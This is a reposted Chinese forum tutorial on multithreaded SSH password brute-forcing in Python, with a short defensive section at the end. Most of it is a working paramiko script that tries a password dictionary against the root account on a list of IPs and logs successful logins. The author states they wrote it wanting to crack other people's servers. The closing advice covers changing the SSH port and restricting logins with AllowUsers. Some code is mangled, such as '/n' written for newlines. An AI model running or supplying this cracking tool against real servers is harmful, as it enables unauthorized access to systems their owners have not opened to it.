Swift51.com
麦子学院 头像
麦子学院  2017-08-16 17:27

Python学习之多线程ssh爆破与防范详解

回复:0  查看:2636  
本文和大家分享的主要是python 多线程的ssh **与防范相关内容,一起来看看吧,希望对大家 学习python多线程有所帮助。
   0x01.About
  这几天发现朋友的服务器22 被人爆了,于是想想,也想去爆别人服务器。
  爆弱口令时候写的一个python 小脚本,主要功能是实现使用字典多线程** ssh ,支持 ip 表导入,字典数据导入。
  主要使用到的是python paramiko 模块和多线程 threading 模块。
  那么,首先要准备的是字典dict 、服务器 ip 表。
  东西很简单,主要默认目录如下:
  |--ssh.scan. py
  |--/ log:
  sshd
  |--/dict:
  ip
  password
  ip password 按照一行一个放置。
   0x02.Code
  下面上源码吧,文件保存为ssh.scan.py ,查看使用方式: python ssh.scan.py -h
  #!/usr/bin/ python  python
  # -*- coding: utf-8 -*-
  import paramiko,threading,sys,time,os
  class SSHThread(threading.Thread):
  def __init__(self, ip, port, timeout, dic, LogFile):
  threading.Thread.__init__(self)
  self.ip = ip
  self.port = port
  self.dict = dic
  self.timeout = timeout
  self.LogFile = LogFile
  def run(self):
   print("Start try ssh => %s" % self.ip)
  username = "root"
   try:
  password =  open(self.dict). read(). split('/n')
  except:
   print("Open dict file `%s` error" % self.dict)
   exit(1)
   for  pwd in password:
   try:
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  ssh.connect(self.ip, self.port, username,  pwd, timeout = self.timeout)
   print("/nIP => %s, Login %s => %s /n" % (self.ip, username,  pwd))
   open(self.LogFile, "a"). write("[ %s ] IP => %s, port => %d, %s => %s /n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username,  pwd))
   break
  except:
   print("IP => %s, Error %s => %s" % (self.ip, username,  pwd))
  pass
  def ViolenceSSH(ip, port, timeout, dic, LogFile):
  ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
  ssh_scan.start()
  def main(ipFile, dic, log):
   if ipFile == "-h":
   help()
   try:
  ipText =  open(ipFile). read(). split('/n')
   for ip in ipText:
   if ip != '':
  time. sleep(0.5)
  threading.Thread(target = ViolenceSSH,  args = (ip, 22, 1, dic, log, )).start()
  except:
   print("Open IP list file `%s` error" % ipFile)
   exit(1)
  def  help():
   print("python ssh.scan.py  使用说明 :/n/
   python ssh.scan. py ip_file_path dict_file_path ssh_log_path /n")
   exit(1)
   if __name__ == '__main__':
  fpath = os.path.dirname(os.path.abspath('__file__'))
  ipFile = sys.argv[1]  if len(sys.argv) > 1  else fpath+"/dict/ip"
  dic = sys.argv[2]  if len(sys.argv) > 2  else fpath+"/dict/password"
  log = sys.argv[3]  if len(sys.argv) > 3  else fpath+"/log/sshd"
   try:
  os.system("clear")
  main(ipFile, dic, log)
  except KeyboardInterrupt:
   exit(1)
  结果比较丑,自己爆自己服务器:
Python学习之多线程ssh爆破与防范详解 

QQ截图20170409201802.png (215.46 KB, 下载次数: 0)

下载附件

15 秒前 上传


   0x03.Solution
  怎么办呢?防止被人**,那就修改ssh 默认登陆端口吧。修改方式主要是修改 ssh 配置文件:
  1. 修改 iptables
  首先要过防火墙,修改防火墙规则:
  /sbin/iptables -A INPUT -m state –state NEW -m tcp -p tcp –dport 2333 -j ACCEPT
  保存规则:
  service iptables save
  重启防火墙:
  service iptables restart
  2. 修改 ssh 配置文件
  cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
  cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
  修改ssh 端口:
  vim /etc/ssh/sshd_config
  在端口#Port 22 下面增加 Port 2333
  vim /etc/ssh/ssh_config
  在端口#Port 22 下面增加 Port 2333
  重启ssh 服务:
  service sshd restart
  3. 其他修改
  限制用户的SSH 访问
  假设我们只要xiaocao homeway 用户能通过 SSH 使用系统,向 sshd_config 配置文件中添加
  vim /etc/ssh/sshd_config
  修改下面一行:
  AllowUsers xiaocao homeway
来源: 杂术馆